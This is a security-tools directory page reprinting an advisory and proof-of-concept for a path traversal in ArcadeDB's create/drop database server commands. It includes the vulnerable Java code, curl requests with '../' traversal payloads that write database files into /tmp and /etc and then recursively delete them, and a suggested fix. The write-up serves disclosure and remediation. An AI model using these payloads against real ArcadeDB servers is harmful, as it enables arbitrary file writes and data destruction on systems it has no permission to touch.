Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-75855 — Proof-of-concept for CVE-2026-75855, a path traversal in ArcadeDB's create/drop database commands allowing arbitrary file write and delete outside the configured directory. | Kitploit
Tools/GitHubGitHub/pervinzahidli/cve-2026-75855
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubpervinzahidli/cve-2026-75855

CVE-2026-75855

Proof-of-concept for CVE-2026-75855, a path traversal in ArcadeDB's create/drop database commands allowing arbitrary file write and delete outside the configured directory.

View Repository
8h 58m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Title

Path Traversal in "create database" / "drop database" server commands allows arbitrary file write and delete outside the configured database directory

Summary

The POST /api/v1/server endpoint's create database and drop database commands use the caller-supplied database name to build a filesystem path with no sanitization, normalization, or containment check. A user authenticated as the ArcadeDB server's root account can supply a name containing ../ sequences to make the server create (and later delete) an entire database — arbitrary files and directories — at any absolute filesystem path the server process can write to, completely outside the configured arcadedb.server.databaseDirectory.

This was verified live, twice independently from a clean state: a crafted create database command wrote real database files into /tmp/ and, in a separate test, into /etc/; a matching command with the same traversal string then recursively deleted the directory.

drop database

Details

server/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:

root@kitploit:~
private void createDatabase(final String databaseName) {
    if (databaseName.isEmpty())
        throw new IllegalArgumentException("Database name empty");
    checkServerIsLeaderIfInHA();
    final ArcadeDBServer server = httpServer.getServer();
    final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
    ...
}

The only validation is a non-empty check. databaseName flows unmodified into ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):

root@kitploit:~
final DatabaseFactory factory = new DatabaseFactory(
    configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
    + databaseName).setAutoTransaction(true);

This is raw string concatenation, not a Path.resolve() + containment check. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) never calls .normalize() or verifies the resolved path stays under the intended base directory before create()/open() write the on-disk files.

dropDatabase() has the same lack of validation, and since the server tracks the database under the literal (traversal-containing) name the caller supplied, a subsequent drop database recursively deletes whatever directory create database wrote to.

checkRootUser(user) is enforced before both commands, so this requires the server's root account — but root here is ArcadeDB's own application-level superuser, not necessarily the same trust level as OS/shell access to the host. Breaking the containment of databaseDirectory lets that application-level account write and delete arbitrary files anywhere the JVM process has OS permissions for.

PoC

Environment: ArcadeData/arcadedb @ commit 545e703, built from source (./mvnw -pl engine,server -am install -DskipTests), run standalone with arcadedb.server.rootPassword set and arcadedb.server.databaseDirectory=/databases.

  1. Confirm the intended database directory is empty.

  2. Send a create database command with a traversal payload:

root@kitploit:~
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
  -H "Content-Type: application/json" \
  -d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'

→ {"result":"ok"} HTTP 200

  1. Verify the database was written outside the configured directory:
root@kitploit:~
ls -la /tmp/arcadedb-traversal-poc/

→ configuration.json, schema.json, dictionary..dict, txlog_.wal — a full, real ArcadeDB database. The intended databases/ directory remains empty throughout.

  1. list databases returns the literal traversal string as the registered name, confirming zero normalization:
root@kitploit:~
{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
  1. Repeated with a deeper traversal to /etc/arcadedb-poc2 — succeeded identically, demonstrating the write is not confined to /tmp or any particular filesystem area, only to whatever the process can write. Also reproduced with a minimal single-level ../ traversal, confirming genuine path escape rather than a coincidental result.

  2. drop database with the same traversal string recursively deletes the directory:

root@kitploit:~
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
  -H "Content-Type: application/json" \
  -d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'

→ {"result":"ok"}; directory confirmed gone afterward.

  1. Re-tested end to end from a completely fresh server restart to confirm the behavior is deterministic and not state-dependent — identical results every time.

Impact

  • Who: Any holder of ArcadeDB's root server credential — an application-level account that, per the product's own design (separate root password, distinct from OS access), is not intended to imply OS filesystem control.
  • What: Arbitrary file/directory creation (via create database) and arbitrary recursive deletion (via drop database) at any absolute path the server process can write to, entirely outside the configured databaseDirectory sandbox.
  • Consequence: Depending on deployment, this can be escalated to code execution (e.g., writing into a directory later loaded/executed by another process, planting files under a web-served path, corrupting service configuration) or straightforward denial of service / data destruction (deleting arbitrary directories the process can reach, e.g. other applications' data).

Suggested Fix

Reject database names containing path separators (/, \) or .. segments outright (a simple allow-list regex, e.g. ^[A-Za-z0-9_-]+$, is standard for this class of identifier), and defensively resolve the final path with Path.resolve(name).normalize() and verify it still starts with the configured base directory before any file operation, in both createDatabase and dropDatabase.


Credit: Pervin Zahidli (@ech0void )

Download Tool